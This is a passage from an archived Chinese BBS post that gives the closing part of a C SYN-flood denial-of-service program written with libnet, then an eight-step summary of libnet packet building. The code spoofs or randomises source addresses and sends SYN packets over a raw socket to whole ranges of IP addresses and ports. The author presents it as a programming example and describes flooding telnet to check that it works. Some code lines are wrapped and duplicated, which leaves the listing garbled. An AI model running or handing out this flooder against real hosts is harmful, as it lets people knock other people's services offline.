📄 528.htm
字号:
switch ( longOptionIndex ) <br>
{ <br>
case 0: <br>
/* 返回值是big-endian序 */ <br>
srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE <br>
); <br>
if ( srcIp == -1 ) <br>
{ <br>
libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s\n", o <br>
ptar <br>
g ); <br>
} <br>
break; <br>
case 1: <br>
/* 验证是否是点分十进制IPv4地址表示 */ <br>
if ( libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ) <br>
== - <br>
1 ) <br>
{ <br>
/* 第一个参数为LIBNET_ERR_FATAL,会导致exit */ <br>
libnet_error( LIBNET_ERR_FATAL, "Bad dstIpLow: %s\n" <br>
, op <br>
targ ); <br>
} <br>
i = j = 0; <br>
while ( optarg[i] != '.' ) <br>
{ <br>
pipstart->a[ j++ ] = optarg[ i++ ]; <br>
} <br>
pipstart->a[j] = '\0'; <br>
j = 0; <br>
i++; <br>
while ( optarg[i] != '.' ) <br>
{ <br>
pipstart->b[ j++ ] = optarg[ i++ ]; <br>
} <br>
pipstart->b[j] = '\0'; <br>
j = 0; <br>
i++; <br>
while ( optarg[i] != '.' ) <br>
{ <br>
pipstart->c[ j++ ] = optarg[ i++ ]; <br>
} <br>
pipstart->c[j] = '\0'; <br>
j = 0; <br>
i++; <br>
while ( optarg[i] != '\0' ) <br>
{ <br>
pipstart->d[ j++ ] = optarg[ i++ ]; <br>
} <br>
pipstart->d[j] = '\0'; <br>
/* Convert to integer values and store in struct */ <br>
if ( pipstart->a != NULL ) <br>
{ <br>
ipstarti.a = atoi( pipstart->a ); <br>
} <br>
if ( pipstart->b != NULL ) <br>
{ <br>
ipstarti.b = atoi( pipstart->b ); <br>
} <br>
if ( pipstart->c != NULL ) <br>
{ <br>
ipstarti.c = atoi( pipstart->c ); <br>
} <br>
if ( pipstart->d != NULL ) <br>
{ <br>
ipstarti.d = atoi( pipstart->d ); <br>
} <br>
break; <br>
case 2: <br>
/* 验证是否是点分十进制IPv4地址表示 */ <br>
if ( libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ) <br>
== - <br>
1 ) <br>
1 ) <br>
{ <br>
/* 第一个参数为LIBNET_ERR_FATAL,会导致exit */ <br>
libnet_error( LIBNET_ERR_FATAL, "Bad dstIpHigh: %s\n <br>
", o <br>
ptarg ); <br>
} <br>
i = j = 0; <br>
while ( optarg[i] != '.' ) <br>
{ <br>
pipend->a[ j++ ] = optarg[ i++ ]; <br>
} <br>
pipend->a[j] = '\0'; <br>
j = 0; <br>
i++; <br>
while ( optarg[i] != '.' ) <br>
{ <br>
pipend->b[ j++ ] = optarg[ i++ ]; <br>
} <br>
pipend->b[j] = '\0'; <br>
j = 0; <br>
i++; <br>
while ( optarg[i] != '.' ) <br>
{ <br>
pipend->c[ j++ ] = optarg[ i++ ]; <br>
} <br>
pipend->c[j] = '\0'; <br>
j = 0; <br>
i++; <br>
while ( optarg[i] != '\0' ) <br>
{ <br>
pipend->d[ j++ ] = optarg[ i++ ]; <br>
} <br>
pipend->d[j] = '\0'; <br>
/* Convert to integer values and store in struct */ <br>
if ( pipend->a != NULL ) <br>
{ <br>
ipendi.a = atoi( pipend->a ); <br>
} <br>
if ( pipend->b != NULL ) <br>
{ <br>
ipendi.b = atoi( pipend->b ); <br>
} <br>
if ( pipend->c != NULL ) <br>
{ <br>
ipendi.c = atoi( pipend->c ); <br>
} <br>
if ( pipend->d != NULL ) <br>
{ <br>
ipendi.d = atoi( pipend->d ); <br>
} <br>
break; <br>
case 3: /* 采用10进制 */ <br>
srcPort = ( u_short )strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 4: <br>
dstPortLow = ( u_short )strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 5: <br>
dstPortHigh = ( u_short )strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 6: /* 采用10进制 */ <br>
synNumber = ( u_long )strtoul( optarg, NULL, 10 ); <br>
if ( synNumber == 0 ) <br>
{ <br>
fprintf( stderr, "Check your synNumber\n" ); <br>
exit( FAILURE ); <br>
} <br>
break; <br>
default: <br>
break; <br>
} /* end of switch */ <br>
} <br>
break; <br>
case 'h': <br>
case '?': <br>
usage( argv[0] ); <br>
} /* end of switch */ <br>
} /* end of while */ <br>
if ( dstPortLow > dstPortHigh ) <br>
{ <br>
fprintf( stderr, "Check your low and high port\n" ); <br>
exit( FAILURE ); <br>
} <br>
fprintf( stderr, "[ Flooding from %d.%d.%d.%d --> %d.%d.%d.%d ]\n", <br>
ipstarti.a, ipstarti.b, ipstarti.c, ipstarti.d, <br>
ipendi.a, ipendi.b, ipendi.c, ipendi.d ); <br>
fprintf( stderr, "[ Flooding from %u --> %u ]\n", dstPortLow, dstPortHig <br>
h ); <br>
h ); <br>
/* 分配内存并初始化成零 */ <br>
Libnet_init_packet( packet_size, &packet ); <br>
/* 创建raw_socket */ <br>
rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); <br>
for ( a = ipstarti.a; a <= ipendi.a; a++ ) <br>
{ <br>
for ( b = ipstarti.b; b <= ipendi.b; b++ ) <br>
{ <br>
for ( c = ipstarti.c; c <= ipendi.c; c++ ) <br>
{ <br>
for ( d = ipstarti.d; d <= ipendi.d; d++ ) <br>
{ <br>
/* 要求提供big-endian序,而i386/Linux本身是little-endian <br>
序 * <br>
/ <br>
dstIp = d * 0x1000000 + c * 0x10000 + b * 0x100 + a; <br>
for ( dstPort = dstPortLow; dstPort <= dstPortHigh; dstP <br>
ort+ <br>
+ ) <br>
{ <br>
if ( srcIp == 0xffffffff ) <br>
{ <br>
/* 随机化源IP */ <br>
srcIp = ( u_long )random(); <br>
} <br>
if ( srcPort == 0xffff ) <br>
{ <br>
/* 随机化源PORT */ <br>
srcPort = ( u_short )random(); <br>
} <br>
synFlood( srcIp, srcPort, dstIp, dstPort, synNumber <br>
); <br>
} <br>
} <br>
} <br>
} <br>
} <br>
/* 关闭raw_socket */ <br>
libnet_close_raw_sock( rawSocket ); <br>
/* 释放由libnet_init_packet()分配的内存 */ <br>
libnet_destroy_packet( &packet ); <br>
fprintf( stderr, "\n[ Flood finished ]\n" ); <br>
return( SUCCESS ); <br>
} /* end of main */ <br>
/*----------------------------------------------------------------------*/ <br>
-------------------------------------------------------------------------- <br>
事实上libnet实在是不适合开发syn-flood这种需要尽量优化并提高效率的DoS程序, <br>
大量循环重复构造报文,函数调用的开销增大,而前后修改并不很多,完全可以在构 <br>
造报文的函数内部做优化,但现在我们使用的是封装过的libnet库函数,没有这个优 <br>
化机会。 <br>
在SPARC/Solaris下用netstat -n -P tcp是看不到SYN_RCVD状态的,必须用如下命令 <br>
netstat -na | grep SYN_RCVD查看效果。欲验证效果就syn-flood 23,然后telnet <br>
即可。 <br>
是不是感觉命令行太罗嗦啦,那不关我事情,目的有三,长选项温习,伪随机数发生 <br>
器,使用libnet,三个目的都达到了,程序本身并没有考虑易用性,也不是作为有效 <br>
工具提供,仅仅是个libnet编程例子。现在我们来总结一下libnet库编程的关键步骤: <br>
<br>
1) 分配内存并初始化成零 <br>
Libnet_init_packet( packet_size, &packet ); <br>
2) 创建raw_socket <br>
rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); <br>
3) 构造IP头 <br>
libnet_build_ip( LIBNET_TCP_H, /* IP数据区长度 */ <br>
IPTOS_LOWDELAY, /* IP tos */ <br>
( u_short )random(), /* IP ID */ <br>
0, /* frag stuff */ <br>
255, /* TTL */ <br>
IPPROTO_TCP, /* 上层协议 */ <br>
srcIp, /* big-endian序 */ <br>
dstIp, /* 目标IP */ <br>
NULL, /* 无选项 */ <br>
0, /* 选项长度零 */ <br>
packet ); /* 指向IP头 */ <br>
4) 构造TCP头 <br>
libnet_build_tcp( ( u_short )( srcPort + s ), /* 源端口 */ <br>
dstPort, /* 目标端口 */ <br>
0x51211314, /* seq num */ <br>
0, /* ack num */ <br>
TH_SYN, /* control flags */ <br>
1024, /* window size */ <br>
0, /* urgent pointer */ <br>
NULL, /* payload (none) */ <br>
0, /* payload length */ <br>
packet + LIBNET_IP_H ); /* 指向TCP头 */ <br>
5) 计算TCP校验和,IP校验和由内核亲自计算 <br>
Libnet_do_checksum( packet, IPPROTO_TCP, LIBNET_TCP_H ); <br>
6) 发送SYN报文 <br>
Libnet_write_ip( rawSocket, packet, packet_size ); <br>
7) 关闭raw_socket <br>
libnet_close_raw_sock( rawSocket ); <br>
8) 释放由libnet_init_packet()分配的内存 <br>
libnet_destroy_packet( &packet ); <br>
以上八步可能是最简单的libnet编程举例了,如果你对NT/2K下的可移植性感兴趣, <br>
可以替换掉长选项支持、伪随机发生器部分,尝试移植一下。后面可能还会举点其他 <br>
libnet库编程的例子,不能确定是什么。 <br>
<待续> <br>
-- <br>
也许有一天,他再从海上蓬蓬的雨点中升起, <br>
飞向西来,再形成一道江流,再冲倒两旁的石壁, <br>
再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... <br>
※ 修改:.scz 于 Jul 27 20:31:33 修改本文.[FROM: bbs.szptt.net.cn] <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="529.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -